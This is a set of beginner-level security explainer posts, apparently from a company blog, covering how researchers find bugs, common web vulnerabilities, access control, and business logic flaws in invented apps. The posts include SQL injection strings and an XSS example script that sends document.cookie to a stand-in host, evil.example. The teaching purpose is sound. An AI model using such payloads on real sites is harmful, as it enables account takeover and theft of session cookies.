Category: Vulnerability Basics

Plain explanations of how software gets broken, for anyone from zero to working knowledge.

  • How do hackers find vulnerabilities?

    How do hackers find vulnerabilities?

    Ask most people how do hackers find vulnerabilities and they picture a tool that scans an app and spits out a list of holes. That happens, but it is the weak version. The strongest finding comes from a person sitting with an app, working out how it is meant to behave, then probing the spot where that intent quietly breaks.

    How do hackers find vulnerabilities by reasoning, not just scanning

    A scanner fires a fixed set of payloads at every field it can see and waits for a known pattern in the response. It is fast and it catches old, well documented bugs. It is also blind to the logic of the app. It does not know that an account ID in a URL was never supposed to be editable, or that a coupon code should only apply once. A researcher does know, because the researcher first learns the rules.

    So the real process is closer to detective work than to button pushing. You map the app. You learn what it promises. You guess where those promises are enforced by hope instead of by code. Then you test that exact guess.

    The best bugs are not hidden. They sit in plain sight, in the gap between what the app assumes and what it actually checks.

    Step one: map the application

    Before any testing, you build a picture of the app. What pages exist, what actions they offer, what data they touch. You watch the network traffic while you click around as a normal user. Every request and response is a clue about how the backend is wired.

    Take an invented example, a notes app called Acme Notes. As you use it, you notice a request like this when you open one of your own notes:

    GET /api/notes/4812 HTTP/1.1
    Host: app.acmenotes.example
    Authorization: Bearer your_token_here

    That single line tells you a lot. Notes are addressed by a plain number. Your note is 4812. The obvious question follows on its own. What happens if you ask for note 4811?

    What you are looking for while mapping

    • Identifiers you can change. Numbers and slugs in URLs and request bodies, like user_id, order=1099, or file=report.pdf.
    • Hidden actions. Buttons that only admins see, but that may still call an endpoint anyone can reach.
    • State the app tracks. Cart totals, account balances, draft versus published flags, anything the app expects to control.
    • Trust boundaries. The line between what the browser sends and what the server is willing to believe.

    Step two: understand how it is meant to work

    This is the part scanners skip. You read the app the way its designers read it. A note belongs to one user. A user should see only their own notes. An order total should equal the sum of its items. A password reset link should work once and then die.

    Each of those sentences is a rule. Each rule is a promise the app makes. The interesting question is always the same. Is this promise enforced on the server, or only suggested by the screen?

    Step three: form ideas about where assumptions break

    Now you turn rules into guesses. A good guess is specific and testable. Vague suspicion gets you nowhere. Concrete bets get you findings.

    • The server checks that you are logged in, but maybe it never checks that note 4811 is yours.
    • The price comes from a hidden form field, so maybe the server trusts whatever price the browser sends.
    • The reset token is a short number, so maybe you can guess another user’s token.
    • The admin panel link is hidden in the menu, but maybe POST /api/admin/users answers anyone who calls it.

    Notice the shape of every guess. The app assumes something. You bet that the assumption is checked in the wrong place, or not at all.

    Step four: test inputs and access

    With a guess in hand, you design the smallest experiment that would prove it. For the Acme Notes guess, you keep your own valid login but change one number:

    GET /api/notes/4811 HTTP/1.1
    Host: app.acmenotes.example
    Authorization: Bearer your_token_here

    If the response is 403 Forbidden or 404 Not Found, the promise held. The app checked ownership. You move on. If the response is 200 OK and you are reading a stranger’s private note, you have found a broken access control bug, the kind often called an insecure direct object reference.

    The same habit applies to input. If a search box builds a database query, you send a value that would break out of the intended query and watch how the app reacts. If a file name is echoed into a page, you send a value that would run as script and see whether the app cleans it. You are always asking one thing. Does the server defend this, or did it assume nobody would try?

    Step five: confirm impact

    A surprising response is not yet a finding. A guess is not evidence. You confirm. You read another account’s data on purpose, then read a second one to show it was not a fluke. You change a price to 0 and complete a checkout to show money actually moved. You prove the bug does what you claim, with a clear request and response that anyone can repeat.

    This is where honest work separates itself from noise. A confirmed bug with a reproduction is something a team can fix today. A list of maybes from a scanner is something a team has to triage, often only to find that most entries are false alarms.

    Blind scanning versus reasoning about the app

    Both approaches exist, and they fail in different ways. The difference is worth keeping straight, which is why we wrote a whole piece on scanners versus research.

    • Blind scanning throws known payloads at everything and matches known patterns. It finds the bug everyone already knows about. It misses logic flaws because it never learns the logic.
    • Reasoning about the app learns the rules first, then targets the exact place a rule is likely unenforced. It finds the access control and business logic bugs that scanners walk straight past.

    You can sum up the whole method in five words. Understand, assume, experiment, verify, chain. Learn the app. Bet on a broken assumption. Run a small test. Prove the impact. Then see whether one bug opens the door to the next.

    Why this matters for defenders

    If you build software, the lesson points straight at your code. Attackers will model your app’s rules and then check, one by one, whether each rule is enforced on the server. So enforce them on the server. Check ownership on every object lookup, not just login. Recompute prices and totals from trusted data, never from the request. Treat every value from a browser as a claim to verify, not a fact to trust.

    Finding vulnerabilities, done well, is just disciplined curiosity about where an app’s assumptions and its checks part ways. This is exactly the kind of bug an autonomous researcher that tests assumptions is built to find, working through understand, assume, experiment, and verify on its own. You can read more about that approach on our about page.

  • What is web application security?

    What is web application security?

    Web application security is the practice of keeping the apps people use in a browser, and the APIs behind them, safe from misuse. It covers how an app handles input, who is allowed to do what, how it confirms who you are, how it is set up, and whether its business rules hold under pressure. If you are new to the topic, this is a friendly map of what web application security means and why it matters.

    What is web application security?

    An app does a lot of trusting. It trusts that a logged in user only requests their own data. It trusts that a price field really holds a number. It trusts that a hidden form value was not changed. Web application security is the work of checking those assumptions before an attacker does. When one of them is wrong, you get a bug that lets someone read another person’s records, skip a payment step, or run a query they were never meant to run.

    People sometimes ask “what is application security” as if it were one wall around the app. It is closer to many small checks spread across every request. A single weak check is enough. So the goal is not one strong defense, it is consistent ones.

    Why it matters

    Most apps now hold something worth taking: account data, messages, files, money movement, internal tools. The app is also the part of a system most exposed to the open internet. A mistake in one endpoint can reach real users in minutes. That is why teams treat security as part of building the app, not a step bolted on at the end.

    The strongest bugs come from understanding what an app assumes, then proving one of those assumptions is wrong.

    The main risk areas

    You do not need to memorize a long list of attack names to start. Most real issues fall into a handful of groups. Learn these groups and you can reason about a feature you have never seen before.

    Input handling

    An app reads input from forms, URLs, headers, and API bodies. Trouble starts when that input is passed into another system without care. A search box that drops raw text into a database query can become SQL injection. A comment field that echoes raw text back into the page can become cross site scripting. The fix is the same idea each time: treat input as data, never as code.

    POST /api/search
    { "q": "laptop' OR '1'='1" }

    If that q value reaches the database as part of the query string instead of a bound parameter, the trailing condition can change what rows come back. A parameterized query keeps the value as a value.

    Access control

    Access control answers one question: is this user allowed to do this thing, on this object, right now. It is the most common place apps go wrong. Picture an order page:

    GET /api/orders/1042

    If the server returns order 1042 just because you are logged in, and not because order 1042 is yours, then changing the number to 1041 hands you someone else’s order. This is called an insecure direct object reference. The lesson is plain: check ownership on the server for every request, not just in the menu the user sees. We go deeper on this in vulnerability basics.

    Authentication

    Authentication is how the app confirms you are who you claim to be. Weak points include passwords with no rate limit on guessing, session tokens that never expire, password reset links that can be reused, and tokens that leak in a URL. Authentication decides identity. Access control then decides what that identity may do. They are separate jobs and both must be right.

    Configuration

    Plenty of bugs are not in the code at all. They live in settings. A debug mode left on in production. An admin panel reachable without a login. Default credentials no one changed. An S3 bucket set to public. A verbose error page that prints a stack trace to anyone who triggers it. Configuration review asks a simple question for each setting: what does an outsider see, and is that what we intended.

    Business logic

    The last group is the trickiest because the code can be correct and the app can still be wrong. Logic flaws break the rules of the business, not the syntax of the language. An example:

    • A checkout applies a discount code. It never checks whether that code was already used.
    • So you apply the same code many times and drive the total to zero.
    • Every request is well formed. No injection, no broken auth. The flow just allows a thing it should forbid.

    Scanners rarely catch these, because there is no bad character to flag. You have to understand what the feature is for, then ask what happens at the edges: negative quantities, repeated steps, steps done out of order, two requests racing at once.

    How testing works at a high level

    Testing a web app for security is not one tool you run once. It is a few methods that fit together, each good at finding a different kind of problem.

    Static and dependency review

    Read the source and scan it for risky patterns: raw string queries, missing ownership checks, secrets committed to the repo. Separately, check the libraries the app pulls in, since a known flaw in a dependency is your flaw too. This is cheap and catches a real share of issues early.

    Dynamic testing

    Run the app and send it crafted requests to watch how it responds. Change an ID. Drop a quote into a field. Replay a request without a login. Send a step out of order. The point is to learn how the app behaves when input does not match what the developer expected.

    Manual and assumption based testing

    A person, or an autonomous tester, studies how the app is meant to work, then forms ideas about where the logic could break, then designs a small experiment for each idea and proves the result with hard evidence. This is where the access control and logic bugs above tend to surface, because finding them needs an understanding of the app, not a fixed list of payloads.

    A note on proof. A guess that an endpoint “might” be broken is not useful. A confirmed finding, shown with a concrete request and response, is. Once a bug is verified, you can turn it into a repeatable check that watches for the same bug returning later.

    Where to go next

    Web application security is a wide field, but it starts with one habit: look at every assumption an app makes and ask what happens when it is false. Pick one risk area, find it in an app you know, and trace it through. That is the kind of bug an autonomous researcher that tests assumptions, not just known payloads, is built to find and verify. If you want to see how that approach works, read more about UnboundCompute.

  • The most common web vulnerabilities, explained simply

    The most common web vulnerabilities, explained simply

    If you are new to security, the list of things that can go wrong with a web app feels endless. It is not. The same handful of mistakes show up again and again, and learning the most common web vulnerabilities first will explain the majority of real breaches you read about. This post walks through them in plain words, loosely following the OWASP Top 10, with a tiny example for each.

    Why the most common web vulnerabilities matter more than the rare ones

    Attackers are practical. They reach for the bugs that are easy to find and pay off fast, which is exactly why the most common web vulnerabilities keep topping every list. If you understand these six classes, you can spot a large share of the types of security vulnerabilities in any app you touch. Each one below comes with a short explanation, a small example, and a pointer to where it tends to hide.

    The bugs that cause the most damage are rarely exotic. They are ordinary mistakes that nobody tested for.

    Broken access control

    This is when the app lets one user reach data or actions that should belong to someone else. The code checks that you are logged in, but forgets to check whether you are allowed to touch this specific thing.

    A tiny example

    Say a notes app shows your note at this URL:

    GET /api/notes/1042

    You change the number by hand:

    GET /api/notes/1043

    If the server returns someone else’s note, that is broken access control. The app trusted the ID in the request instead of checking that note 1043 belongs to you. This single class tops most surveys of the top 10 web vulnerabilities, and it is easy to miss because every screen looks fine when you test with your own account. If you want to go deeper, the access control category covers how these checks fail and how to test for them.

    Injection

    Injection happens when input from a user is mixed straight into a command, a query, or a template, so the input can change what that command does. The classic case is SQL injection.

    A tiny example

    Imagine a login query built by gluing strings together:

    SELECT * FROM users WHERE email = '" + email + "'

    A visitor types this into the email field:

    ' OR '1'='1

    Now the query always matches, and the attacker is logged in as the first user in the table. The fix is to stop mixing data and code: use parameterized queries so input is always treated as a value, never as part of the command. The same idea applies to operating system commands and template engines. The injection and input category goes through the main flavors and the safe patterns that shut them down.

    Cross site scripting (XSS)

    XSS is injection aimed at the browser. The app takes input from one user and shows it to another without cleaning it, so the input runs as code in the victim’s browser.

    A tiny example

    A comment box lets you post this:

    <script>fetch('https://evil.example/steal?c='+document.cookie)</script>

    If the app prints comments back onto the page as raw HTML, every visitor who views that comment runs the script, and their session cookie is sent to the attacker. The fix is to escape output so <script> shows up as text, not as a tag, and to set cookies as HttpOnly so scripts cannot read them.

    Authentication failures

    This covers all the ways an app fails to confirm who someone really is. Weak passwords allowed, no limit on login attempts, password reset tokens that never expire, session IDs that are easy to guess.

    A tiny example

    An app sends a password reset link with a token in the URL:

    https://acme-notes.example/reset?token=100024

    The token is just a counter. An attacker requests a reset for their own account, sees token 100024, then tries 100023 and 100025 to hijack other accounts. Reset tokens should be long, random, single use, and short lived. While you are at it, rate limit login and reset endpoints so guessing is slow and noisy.

    Security misconfiguration

    Sometimes the code is fine and the setup is the problem. Default passwords left in place, debug mode on in production, a storage bucket set to public, an admin panel exposed to the internet, verbose errors that leak stack traces.

    A tiny example

    A server returns a detailed error on a bad request:

    500 Internal Server Error
    DBException: connection failed for user 'root' at db-prod-01:5432
    Stack trace: /app/services/billing.py line 88 ...

    That message hands an attacker the database user, the host, the port, and a map of your code. The fix is to show users a generic error, log the detail privately, and turn off debug output before you ship. Misconfiguration is common because it lives in defaults and forgotten settings, not in any single line of code you wrote on purpose.

    Business logic flaws

    These are the bugs where every individual request is valid, but the sequence or the values break a rule the app assumed nobody would break. There is no special character to escape and no obvious payload. The flaw is in the logic itself.

    A tiny example

    A checkout flow charges a discount based on a quantity sent by the client:

    POST /api/cart/add
    { "item": "license", "quantity": -3, "unit_price": 50 }

    Nobody expected a negative quantity, so the total becomes a credit and the customer gets paid to order. Another version: applying the same single use coupon twice by sending two requests at the same moment, before the first one marks it as spent. Business logic flaws are hard for generic tools to catch because finding them means understanding what the app is supposed to do, then asking what happens when an assumption is false.

    How these classes connect

    Most real incidents are a chain, not a single bug. An attacker might use a small information leak from a misconfiguration to learn an internal URL, then use broken access control to read another tenant’s records, then a business logic flaw to escalate. Learning the most common security vulnerabilities as separate ideas is the start. Seeing how they combine is what makes someone good at the work.

    • Broken access control: can I reach things that are not mine?
    • Injection: is my input being treated as code?
    • XSS: can my input run in someone else’s browser?
    • Authentication failures: can the app be fooled about who I am?
    • Security misconfiguration: is the setup leaking or wide open?
    • Business logic flaws: what rule did the app assume I would never break?

    Where to go from here

    Pick one class and practice spotting it in a small app you control. Change an ID in a URL. Type a quote into a search box and watch the error. Send a negative number where a positive one is expected. The point is to build the habit of asking what the app assumes, then testing whether that assumption holds.

    That last question, what does this app assume and what happens when the assumption is false, is exactly the kind of bug an autonomous researcher that tests assumptions is built to find. UnboundCompute learns how an app is meant to work, forms ideas about where the logic could break, runs experiments, and proves a finding with concrete evidence before reporting it. If that approach interests you, read more on the about page.

  • What is a business logic vulnerability?

    What is a business logic vulnerability?

    A business logic vulnerability is a flaw in the rules an application follows, not in its code syntax. The request looks valid. Every field is the right type, the session is authenticated, and the server returns a clean 200 OK. The problem is that the request quietly breaks an assumption the app made about how people would use it. Because nothing looks malformed, a scanner waves it through, and that is what makes this class of bug so easy to miss.

    What a business logic vulnerability actually is

    Most security tools hunt for known bad input. They send a quote mark to look for SQL injection, or a script tag to look for cross site scripting. Those payloads are wrong on their face, so they are easy to detect and easy to block. A business logic vulnerability uses input that is completely legal. The attacker does not send garbage. They send a number, a coupon code, or a sequence of normal requests in an order the developer never expected.

    Think of it this way. The developer wrote code to answer the question “is this input valid?” They forgot to answer a second question: “does this valid input still make sense for what the user is allowed to do?” The gap between those two questions is where these bugs live.

    The request is valid. The assumption behind it is not. That gap is the whole bug.

    Four invented examples of a business logic vulnerability

    Here are four flaws in a made up shopping app we will call Acme Cart. None of these involve a special payload. Each one is a normal request that the server should have refused.

    1. Applying a discount code twice

    Acme Cart lets a shopper enter the code SAVE20 at checkout for twenty percent off. The intent is one use per order. But the apply endpoint never records that a code was already used on this cart. So the attacker just sends the same request again.

    POST /cart/apply-coupon
    { "cart_id": "8841", "code": "SAVE20" }
    
    POST /cart/apply-coupon
    { "cart_id": "8841", "code": "SAVE20" }

    Each call stacks another twenty percent off. Send it five times and the total drops to almost nothing. The input is a real coupon code every single time. A scanner sees two identical, well formed requests and finds nothing to flag.

    2. A negative quantity that pays you back

    The cart accepts a quantity field. The developer assumed quantity would be one or more. The validation checks that the value is a number, but not that it is positive.

    POST /cart/add-item
    { "sku": "MUG-01", "quantity": -3 }

    Now the order total goes down by the price of three mugs. If the checkout flow refunds or credits the negative line, the attacker buys a real item, attaches a negative line item, and walks away owing less than zero. The number -3 is a valid integer. The assumption that quantities are positive lived only in the developer’s head.

    3. Skipping a step in checkout

    Acme Cart has a three step checkout: cart, then payment, then confirm. The payment step is where the card is charged. The confirm step creates the order. But the confirm endpoint trusts that payment already happened, because in the normal flow it always does.

    POST /checkout/confirm
    { "cart_id": "8841" }

    An attacker who calls /checkout/confirm directly, without ever hitting the payment step, gets a confirmed order and never pays. The request is shaped exactly like a real one. The flaw is the missing check that the payment state for this cart is actually complete.

    4. Changing a price field the client should never set

    The add to cart request includes the product price so the front end can show a running total. The server reads that price straight from the request body instead of looking it up from its own catalog.

    POST /cart/add-item
    { "sku": "LAPTOP-15", "quantity": 1, "price": 1.00 }

    The laptop now costs one dollar. The attacker did not break encryption or guess a password. They edited a field the server should have ignored and recalculated on its own.

    Why automated tools miss a business logic vulnerability

    A scanner works from a list. It knows what an injection string looks like, what a directory traversal looks like, what a default password looks like. It compares responses against those patterns. None of the four examples above match any pattern, because the input is data the app was built to accept.

    To catch these, a tool would need to know things that live nowhere in the code in a checkable form:

    • A coupon is meant to apply once per order.
    • A quantity is meant to be positive.
    • Payment must finish before an order is confirmed.
    • Price is decided by the server, never the client.

    These are facts about intent. They are the assumptions the application makes about how its own features should behave. A pattern matcher does not understand intent, so it cannot tell that a clean 200 OK hid a free laptop. You have to first learn how the feature is supposed to work, then ask what happens if a user refuses to play along. That is research, not scanning. Our writeups in attack teardowns walk through this kind of reasoning on invented apps.

    How to find and prevent these bugs

    The starting point is to write down the assumptions, because a rule you never wrote down is a rule you never enforced. For each feature, ask what the app silently expects, then test the opposite.

    • List the invariants. One coupon per order. Quantity above zero. Payment before confirmation. Price from the catalog. Each one is a check the server must make on every request, not a hope about client behavior.
    • Never trust the client for anything that affects money or access. Recompute prices, totals, and permissions on the server from trusted data.
    • Enforce state, do not assume it. The confirm step should verify that this cart reached a paid state, rather than trusting the order of requests.
    • Replay and reorder requests on purpose. Send the same action twice. Skip a step. Send a negative or a zero. Edit a field the UI never lets you touch. If the response stays clean when it should not, you found one.
    • Turn a confirmed finding into a standing check. Once you prove that quantity: -3 lowers a total, add a test that fails if it ever works again.

    The work is mostly about understanding the app and then questioning each thing it takes for granted. A clever input is rarely the hard part. Seeing the unstated rule is.

    The takeaway

    A business logic vulnerability is what is left after the obvious bugs are patched. The payload is legal, the response is clean, and the damage is real. Finding these means understanding what the app is meant to do and then testing each assumption underneath that, one at a time. This is exactly the kind of bug an autonomous researcher that tests assumptions is built to find, and you can read more about how we approach that on our about page.